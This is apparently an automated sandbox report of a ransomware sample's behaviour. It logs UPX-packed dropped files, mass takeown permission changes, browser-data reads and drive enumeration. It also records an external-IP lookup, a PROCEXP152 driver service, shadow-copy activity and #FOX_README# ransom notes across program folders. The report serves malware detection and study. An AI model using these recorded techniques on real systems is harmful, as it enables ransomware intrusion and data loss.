behavioral2/files/0x000100000001ad87-143.dat upx behavioral2/files/0x000100000001ad87-149.dat upx behavioral2/files/0x000100000001ad87-151.dat upx behavioral2/files/0x000100000001ad87-157.dat upx behavioral2/files/0x000100000001ad87-159.dat upx behavioral2/files/0x000100000001ad87-165.dat upx behavioral2/files/0x000100000001ad87-167.dat upx behavioral2/files/0x000100000001ad87-173.dat upx behavioral2/files/0x000100000001ad87-175.dat upx behavioral2/files/0x000100000001ad87-181.dat upx behavioral2/files/0x000100000001ad87-183.dat upx behavioral2/files/0x000100000001ad87-189.dat upx behavioral2/files/0x000100000001ad87-191.dat upx behavioral2/files/0x000100000001ad87-197.dat upx behavioral2/files/0x000100000001ad87-199.dat upx behavioral2/files/0x000100000001ad87-205.dat upx behavioral2/files/0x000100000001ad87-207.dat upx behavioral2/files/0x000100000001ad87-213.dat upx behavioral2/files/0x000100000001ad87-215.dat upx behavioral2/files/0x000100000001ad87-221.dat upx behavioral2/files/0x000100000001ad87-223.dat upx behavioral2/files/0x000100000001ad87-229.dat upx behavioral2/files/0x000100000001ad87-231.dat upx behavioral2/files/0x000100000001ad87-237.dat upx behavioral2/files/0x000100000001ad87-239.dat upx behavioral2/files/0x000100000001ad87-245.dat upx behavioral2/files/0x000100000001ad87-247.dat upx behavioral2/files/0x000100000001ad87-253.dat upx behavioral2/files/0x000100000001ad87-255.dat upx behavioral2/files/0x000100000001ad87-261.dat upx behavioral2/files/0x000100000001ad87-263.dat upx behavioral2/files/0x000100000001ad87-269.dat upx behavioral2/files/0x000100000001ad87-271.dat upx behavioral2/files/0x000100000001ad87-277.dat upx behavioral2/files/0x000100000001ad87-279.dat upx behavioral2/files/0x000100000001ad87-285.dat upx behavioral2/files/0x000100000001ad87-287.dat upx behavioral2/files/0x000100000001ad87-293.dat upx behavioral2/files/0x000100000001ad87-295.dat upx behavioral2/files/0x000100000001ad87-301.dat upx behavioral2/files/0x000100000001ad87-303.dat upx behavioral2/files/0x000100000001ad87-309.dat upx behavioral2/files/0x000100000001ad87-311.dat upx behavioral2/files/0x000100000001ad87-317.dat upx behavioral2/files/0x000100000001ad87-319.dat upx behavioral2/files/0x000100000001ad87-325.dat upx behavioral2/files/0x000100000001ad87-327.dat upx behavioral2/files/0x000100000001ad87-333.dat upx behavioral2/files/0x000100000001ad87-335.dat upx behavioral2/files/0x000100000001ad87-341.dat upx behavioral2/files/0x000100000001ad87-343.dat upx behavioral2/files/0x000100000001ad87-349.dat upx behavioral2/files/0x000100000001ad87-351.dat upx behavioral2/files/0x000100000001ad87-357.dat upx behavioral2/files/0x000100000001ad87-359.dat upx behavioral2/files/0x000100000001ad87-365.dat upx behavioral2/files/0x000100000001ad87-367.dat upx behavioral2/files/0x000100000001ad87-373.dat upx behavioral2/files/0x000100000001ad87-375.dat upx behavioral2/files/0x000100000001ad87-381.dat upx behavioral2/files/0x000100000001ad87-383.dat upx behavioral2/files/0x000100000001ad87-389.dat upx behavioral2/files/0x000100000001ad87-391.dat upx behavioral2/files/0x000100000001ad87-397.dat upx behavioral2/files/0x000100000001ad87-399.dat upx behavioral2/files/0x000100000001ad87-405.dat upx behavioral2/files/0x000100000001ad87-407.dat upx behavioral2/files/0x000100000001ad87-413.dat upx behavioral2/files/0x000100000001ad87-415.dat upx behavioral2/files/0x000100000001ad87-421.dat upx behavioral2/files/0x000100000001ad87-423.dat upx behavioral2/files/0x000100000001ad87-429.dat upx behavioral2/files/0x000100000001ad87-431.dat upx behavioral2/files/0x000100000001ad87-437.dat upx behavioral2/files/0x000100000001ad87-439.dat upx behavioral2/files/0x000100000001ad87-445.dat upx behavioral2/files/0x000100000001ad87-447.dat upx behavioral2/files/0x000100000001ad87-453.dat upx behavioral2/files/0x000100000001ad87-455.dat upx behavioral2/files/0x000100000001ad87-461.dat upx behavioral2/files/0x000100000001ad87-463.dat upx behavioral2/files/0x000100000001ad87-469.dat upx behavioral2/files/0x000100000001ad87-471.dat upx behavioral2/files/0x000100000001ad87-477.dat upx behavioral2/files/0x000100000001ad87-479.dat upx behavioral2/files/0x000100000001ad87-485.dat upx behavioral2/files/0x000100000001ad87-487.dat upx behavioral2/files/0x000100000001ad87-493.dat upx behavioral2/files/0x000100000001ad87-495.dat upx behavioral2/files/0x000100000001ad87-501.dat upx behavioral2/files/0x000100000001ad87-503.dat upx behavioral2/files/0x000100000001ad87-509.dat upx behavioral2/files/0x000100000001ad87-511.dat upx behavioral2/files/0x000100000001ad87-517.dat upx behavioral2/files/0x000100000001ad87-519.dat upx behavioral2/files/0x000100000001ad87-525.dat upx behavioral2/files/0x000100000001ad87-527.dat upx behavioral2/files/0x000100000001ad87-533.dat upx behavioral2/files/0x000100000001ad87-535.dat upx behavioral2/files/0x000100000001ad87-541.dat upx behavioral2/files/0x000100000001ad87-543.dat upx behavioral2/files/0x000100000001ad87-549.dat upx behavioral2/files/0x000100000001ad87-551.dat upx behavioral2/files/0x000100000001ad87-557.dat upx behavioral2/files/0x000100000001ad87-559.dat upx behavioral2/files/0x000100000001ad87-565.dat upx behavioral2/files/0x000100000001ad87-567.dat upx behavioral2/files/0x000100000001ad87-573.dat upx behavioral2/files/0x000100000001ad87-575.dat upx behavioral2/files/0x000100000001ad87-581.dat upx behavioral2/files/0x000100000001ad87-583.dat upx behavioral2/files/0x000100000001ad87-589.dat upx behavioral2/files/0x000100000001ad87-591.dat upx behavioral2/files/0x000100000001ad87-597.dat upx behavioral2/files/0x000100000001ad87-599.dat upx behavioral2/files/0x000100000001ad87-605.dat upx behavioral2/files/0x000100000001ad87-607.dat upx behavioral2/files/0x000100000001ad87-613.dat upx behavioral2/files/0x000100000001ad87-615.dat upx behavioral2/files/0x000100000001ad87-621.dat upx behavioral2/files/0x000100000001ad87-623.dat upx behavioral2/files/0x000100000001ad87-629.dat upx behavioral2/files/0x000100000001ad87-631.dat upx behavioral2/files/0x000100000001ad87-637.dat upx behavioral2/files/0x000100000001ad87-639.dat upx behavioral2/files/0x000100000001ad87-645.dat upx behavioral2/files/0x000100000001ad87-647.dat upx behavioral2/files/0x000100000001ad87-653.dat upx behavioral2/files/0x000100000001ad87-655.dat upx behavioral2/files/0x000100000001ad87-661.dat upx behavioral2/files/0x000100000001ad87-663.dat upx behavioral2/files/0x000100000001ad87-669.dat upx behavioral2/files/0x000100000001ad87-671.dat upx behavioral2/files/0x000100000001ad87-677.dat upx behavioral2/files/0x000100000001ad87-679.dat upx behavioral2/files/0x000100000001ad87-685.dat upx behavioral2/files/0x000100000001ad87-687.dat upx behavioral2/files/0x000100000001ad87-693.dat upx behavioral2/files/0x000100000001ad87-695.dat upx behavioral2/files/0x000100000001ad87-701.dat upx behavioral2/files/0x000100000001ad87-703.dat upx behavioral2/files/0x000100000001ad87-709.dat upx behavioral2/files/0x000100000001ad87-711.dat upx behavioral2/files/0x000100000001ad87-717.dat upx behavioral2/files/0x000100000001ad87-719.dat upx behavioral2/files/0x000100000001ad87-725.dat upx behavioral2/files/0x000100000001ad87-727.dat upx behavioral2/files/0x000100000001ad87-733.dat upx behavioral2/files/0x000100000001ad87-735.dat upx behavioral2/files/0x000100000001ad87-741.dat upx behavioral2/files/0x000100000001ad87-743.dat upx behavioral2/files/0x000100000001ad87-749.dat upx behavioral2/files/0x000100000001ad87-751.dat upx behavioral2/files/0x000100000001ad87-757.dat upx behavioral2/files/0x000100000001ad87-759.dat upx behavioral2/files/0x000100000001ad87-765.dat upx behavioral2/files/0x000100000001ad87-767.dat upx behavioral2/files/0x000100000001ad87-773.dat upx behavioral2/files/0x000100000001ad87-775.dat upx behavioral2/files/0x000100000001ad87-781.dat upx behavioral2/files/0x000100000001ad87-783.dat upx behavioral2/files/0x000100000001ad87-789.dat upx behavioral2/files/0x000100000001ad87-791.dat upx behavioral2/files/0x000100000001ad87-797.dat upx behavioral2/files/0x000100000001ad87-799.dat upx behavioral2/files/0x000100000001ad87-805.dat upx behavioral2/files/0x000100000001ad87-807.dat upx behavioral2/files/0x000100000001ad87-813.dat upx behavioral2/files/0x000100000001ad87-815.dat upx behavioral2/files/0x000100000001ad87-821.dat upx behavioral2/files/0x000100000001ad87-823.dat upx behavioral2/files/0x000100000001ad87-829.dat upx behavioral2/files/0x000100000001ad87-831.dat upx behavioral2/files/0x000100000001ad87-837.dat upx behavioral2/files/0x000100000001ad87-839.dat upx behavioral2/files/0x000100000001ad87-845.dat upx behavioral2/files/0x000100000001ad87-847.dat upx behavioral2/files/0x000100000001ad87-853.dat upx behavioral2/files/0x000100000001ad87-855.dat upx behavioral2/files/0x000100000001ad87-861.dat upx behavioral2/files/0x000100000001ad87-863.dat upx behavioral2/files/0x000100000001ad87-869.dat upx behavioral2/files/0x000100000001ad87-871.dat upx behavioral2/files/0x000100000001ad87-877.dat upx behavioral2/files/0x000100000001ad87-879.dat upx behavioral2/files/0x000100000001ad87-885.dat upx behavioral2/files/0x000100000001ad87-887.dat upx behavioral2/files/0x000100000001ad87-893.dat upx behavioral2/files/0x000100000001ad87-895.dat upx behavioral2/files/0x000100000001ad87-901.dat upx behavioral2/files/0x000100000001ad87-903.dat upx behavioral2/files/0x000100000001ad87-909.dat upx behavioral2/files/0x000100000001ad87-911.dat upx behavioral2/files/0x000100000001ad87-917.dat upx behavioral2/files/0x000100000001ad87-919.dat upx behavioral2/files/0x000100000001ad87-925.dat upx behavioral2/files/0x000100000001ad87-927.dat upx behavioral2/files/0x000100000001ad87-933.dat upx behavioral2/files/0x000100000001ad87-935.dat upx behavioral2/files/0x000100000001ad87-941.dat upx behavioral2/files/0x000100000001ad87-943.dat upx behavioral2/files/0x000100000001ad87-949.dat upx behavioral2/files/0x000100000001ad87-951.dat upx behavioral2/files/0x000100000001ad87-957.dat upx behavioral2/files/0x000100000001ad87-959.dat upx behavioral2/files/0x000100000001ad87-965.dat upx behavioral2/files/0x000100000001ad87-967.dat upx behavioral2/files/0x000100000001ad87-973.dat upx behavioral2/files/0x000100000001ad87-975.dat upx behavioral2/files/0x000100000001ad87-981.dat upx behavioral2/files/0x000100000001ad87-983.dat upx behavioral2/files/0x000100000001ad87-989.dat upx behavioral2/files/0x000100000001ad87-991.dat upx behavioral2/files/0x000100000001ad87-997.dat upx behavioral2/files/0x000100000001ad87-999.dat upx behavioral2/files/0x000100000001ad87-1005.dat upx behavioral2/files/0x000100000001ad87-1007.dat upx behavioral2/files/0x000100000001ad87-1013.dat upx behavioral2/files/0x000100000001ad87-1015.dat upx behavioral2/files/0x000100000001ad87-1021.dat upx behavioral2/files/0x000100000001ad87-1023.dat upx behavioral2/files/0x000100000001ad87-1029.dat upx behavioral2/files/0x000100000001ad87-1031.dat upx behavioral2/files/0x000100000001ad87-1037.dat upx behavioral2/files/0x000100000001ad87-1039.dat upx behavioral2/files/0x000100000001ad87-1045.dat upx behavioral2/files/0x000100000001ad87-1047.dat upx behavioral2/files/0x000100000001ad87-1053.dat upx behavioral2/files/0x000100000001ad87-1055.dat upx behavioral2/files/0x000100000001ad87-1061.dat upx behavioral2/files/0x000100000001ad87-1063.dat upx behavioral2/files/0x000100000001ad87-1069.dat upx behavioral2/files/0x000100000001ad87-1071.dat upx behavioral2/files/0x000100000001ad87-1077.dat upx behavioral2/files/0x000100000001ad87-1079.dat upx behavioral2/files/0x000100000001ad87-1085.dat upx behavioral2/files/0x000100000001ad87-1087.dat upx behavioral2/files/0x000100000001ad87-1093.dat upx behavioral2/files/0x000100000001ad87-1095.dat upx behavioral2/files/0x000100000001ad87-1101.dat upx behavioral2/files/0x000100000001ad87-1103.dat upx behavioral2/files/0x000100000001ad87-1109.dat upx behavioral2/files/0x000100000001ad87-1111.dat upx behavioral2/files/0x000100000001ad87-1117.dat upx behavioral2/files/0x000100000001ad87-1119.dat upx behavioral2/files/0x000100000001ad87-1125.dat upx behavioral2/files/0x000100000001ad87-1127.dat upx behavioral2/files/0x000100000001ad87-1133.dat upx behavioral2/files/0x000100000001ad87-1135.dat upx behavioral2/files/0x000100000001ad87-1141.dat upx behavioral2/files/0x000100000001ad87-1143.dat upx behavioral2/files/0x000100000001ad87-1149.dat upx behavioral2/files/0x000100000001ad87-1151.dat upx behavioral2/files/0x000100000001ad87-1157.dat upx behavioral2/files/0x000100000001ad87-1159.dat upx behavioral2/files/0x000100000001ad87-1165.dat upx behavioral2/files/0x000100000001ad87-1167.dat upx behavioral2/files/0x000100000001ad87-1173.dat upx behavioral2/files/0x000100000001ad87-1175.dat upx behavioral2/files/0x000100000001ad87-1181.dat upx behavioral2/files/0x000100000001ad87-1183.dat upx behavioral2/files/0x000100000001ad87-1189.dat upx behavioral2/files/0x000100000001ad87-1191.dat upx behavioral2/files/0x000100000001ad87-1197.dat upx behavioral2/files/0x000100000001ad87-1199.dat upx behavioral2/files/0x000100000001ad87-1205.dat upx behavioral2/files/0x000100000001ad87-1207.dat upx behavioral2/files/0x000100000001ad87-1213.dat upx behavioral2/files/0x000100000001ad87-1215.dat upx behavioral2/files/0x000100000001ad87-1221.dat upx behavioral2/files/0x000100000001ad87-1223.dat upx behavioral2/files/0x000100000001ad87-1229.dat upx behavioral2/files/0x000100000001ad87-1231.dat upx behavioral2/files/0x000100000001ad87-1237.dat upx behavioral2/files/0x000100000001ad87-1239.dat upx behavioral2/files/0x000100000001ad87-1245.dat upx behavioral2/files/0x000100000001ad87-1247.dat upx behavioral2/files/0x000100000001ad87-1253.dat upx behavioral2/files/0x000100000001ad87-1255.dat upx behavioral2/files/0x000100000001ad87-1261.dat upx behavioral2/files/0x000100000001ad87-1263.dat upx behavioral2/files/0x000100000001ad87-1269.dat upx behavioral2/files/0x000100000001ad87-1271.dat upx behavioral2/files/0x000100000001ad87-1277.dat upx behavioral2/files/0x000100000001ad87-1279.dat upx behavioral2/files/0x000100000001ad87-1285.dat upx behavioral2/files/0x000100000001ad87-1287.dat upx behavioral2/files/0x000100000001ad87-1293.dat upx behavioral2/files/0x000100000001ad87-1295.dat upx behavioral2/files/0x000100000001ad87-1301.dat upx behavioral2/files/0x000100000001ad87-1303.dat upx behavioral2/files/0x000100000001ad87-1309.dat upx behavioral2/files/0x000100000001ad87-1311.dat upx behavioral2/files/0x000100000001ad87-1317.dat upx behavioral2/files/0x000100000001ad87-1319.dat upx -
Modifies file permissions 1 TTPs 160 IoCs
pid Process 6120 takeown.exe 5532 takeown.exe 6556 takeown.exe 8040 takeown.exe 6176 takeown.exe 7608 takeown.exe 5240 takeown.exe 5024 takeown.exe 6124 takeown.exe 5764 takeown.exe 5224 takeown.exe 4252 takeown.exe 5480 takeown.exe 5924 takeown.exe 4896 takeown.exe 4612 takeown.exe 6044 takeown.exe 1196 takeown.exe 5892 takeown.exe 6856 takeown.exe 500 takeown.exe 6680 takeown.exe 7800 takeown.exe 6552 takeown.exe 4808 takeown.exe 4588 takeown.exe 5432 takeown.exe 6792 takeown.exe 7124 takeown.exe 4136 takeown.exe 8096 takeown.exe 8056 takeown.exe 7592 takeown.exe 4712 takeown.exe 5504 takeown.exe 5740 takeown.exe 5164 takeown.exe 6300 takeown.exe 6844 takeown.exe 6488 takeown.exe 6376 takeown.exe 7160 takeown.exe 7404 takeown.exe 4160 takeown.exe 4364 takeown.exe 4392 takeown.exe 5964 takeown.exe 5424 takeown.exe 7540 takeown.exe 7216 takeown.exe 7604 takeown.exe 4472 takeown.exe 6828 takeown.exe 6756 takeown.exe 7596 takeown.exe 7244 takeown.exe 5172 takeown.exe 5248 takeown.exe 7900 takeown.exe 8052 takeown.exe 7848 takeown.exe 7872 takeown.exe 6032 takeown.exe 6256 takeown.exe 652 takeown.exe 6908 takeown.exe 7352 takeown.exe 7824 takeown.exe 5032 takeown.exe 4756 takeown.exe 5696 takeown.exe 5676 takeown.exe 7136 takeown.exe 640 takeown.exe 7336 takeown.exe 4860 takeown.exe 4268 takeown.exe 6452 takeown.exe 7288 takeown.exe 4628 takeown.exe 5132 takeown.exe 5588 takeown.exe 5836 takeown.exe 7068 takeown.exe 6968 takeown.exe 7444 takeown.exe 5920 takeown.exe 6560 takeown.exe 6768 takeown.exe 7896 takeown.exe 3660 takeown.exe 6384 takeown.exe 7748 takeown.exe 7884 takeown.exe 5436 takeown.exe 5340 takeown.exe 5664 takeown.exe 5780 takeown.exe 6244 takeown.exe 4316 takeown.exe 5584 takeown.exe 6148 takeown.exe 6280 takeown.exe 7588 takeown.exe 4720 takeown.exe 6536 takeown.exe 6868 takeown.exe 2500 takeown.exe 7612 takeown.exe 5576 takeown.exe 5464 takeown.exe 5252 takeown.exe 5528 takeown.exe 5008 takeown.exe 3136 takeown.exe 5548 takeown.exe 7064 takeown.exe 7032 takeown.exe 6308 takeown.exe 7156 takeown.exe 8120 takeown.exe 8156 takeown.exe 4708 takeown.exe 4632 takeown.exe 6716 takeown.exe 6192 takeown.exe 6732 takeown.exe 5904 takeown.exe 8168 takeown.exe 7976 takeown.exe 5600 takeown.exe 7020 takeown.exe 6224 takeown.exe 260 takeown.exe 2352 takeown.exe 3576 takeown.exe 5188 takeown.exe 5932 takeown.exe 7092 takeown.exe 4752 takeown.exe 5524 takeown.exe 6852 takeown.exe 6524 takeown.exe 6992 takeown.exe 7468 takeown.exe 5888 takeown.exe 6400 takeown.exe 6168 takeown.exe 6788 takeown.exe 7188 takeown.exe 6052 takeown.exe 6408 takeown.exe 6528 takeown.exe 4120 takeown.exe 4156 takeown.exe 5084 takeown.exe 4272 takeown.exe 5284 takeown.exe 7344 takeown.exe 8148 takeown.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 26 IoCs
description ioc Process File opened for modification C:\Users\Public\Music\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Documents\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Music\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\Pictures\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Videos\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\Videos\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Searches\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\Libraries\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\Downloads\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\AccountPictures\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\OneDrive\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\Desktop\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Pictures\Saved Pictures\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Pictures\Camera Roll\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Public\Documents\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Users\Admin\Links\desktop.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\R: ZPVn0rpr64.exe File opened (read-only) \??\T: ZPVn0rpr64.exe File opened (read-only) \??\V: ZPVn0rpr64.exe File opened (read-only) \??\X: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\U: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\K: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\J: ZPVn0rpr64.exe File opened (read-only) \??\M: ZPVn0rpr64.exe File opened (read-only) \??\B: ZPVn0rpr64.exe File opened (read-only) \??\E: ZPVn0rpr64.exe File opened (read-only) \??\L: ZPVn0rpr64.exe File opened (read-only) \??\W: ZPVn0rpr64.exe File opened (read-only) \??\Z: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\Q: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\M: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\E: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\K: ZPVn0rpr64.exe File opened (read-only) \??\S: ZPVn0rpr64.exe File opened (read-only) \??\X: ZPVn0rpr64.exe File opened (read-only) \??\Y: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\V: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\O: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\L: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\A: ZPVn0rpr64.exe File opened (read-only) \??\I: ZPVn0rpr64.exe File opened (read-only) \??\S: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\P: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\G: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\F: ZPVn0rpr64.exe File opened (read-only) \??\Q: ZPVn0rpr64.exe File opened (read-only) \??\W: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\T: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\R: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\I: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\O: ZPVn0rpr64.exe File opened (read-only) \??\Y: ZPVn0rpr64.exe File opened (read-only) \??\Z: ZPVn0rpr64.exe File opened (read-only) \??\N: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\J: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\F: f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened (read-only) \??\G: ZPVn0rpr64.exe File opened (read-only) \??\H: ZPVn0rpr64.exe File opened (read-only) \??\N: ZPVn0rpr64.exe File opened (read-only) \??\P: ZPVn0rpr64.exe File opened (read-only) \??\U: ZPVn0rpr64.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 33 myexternalip.com -
Modifies service 2 TTPs 11 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\Start = "3" ZPVn0rpr64.exe Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" ZPVn0rpr64.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152 ZPVn0rpr64.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152 ZPVn0rpr64.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\Type = "1" ZPVn0rpr64.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ErrorControl = "1" ZPVn0rpr64.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\48300cZO.bmp" reg.exe -
Drops file in Program Files directory 2166 IoCs
description ioc Process File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Installer\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\jabswitch.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfr.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-api_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.emf.ecore_2.10.1.v20140901-1043.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ReadImport.scf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#FOX_README#.rtf 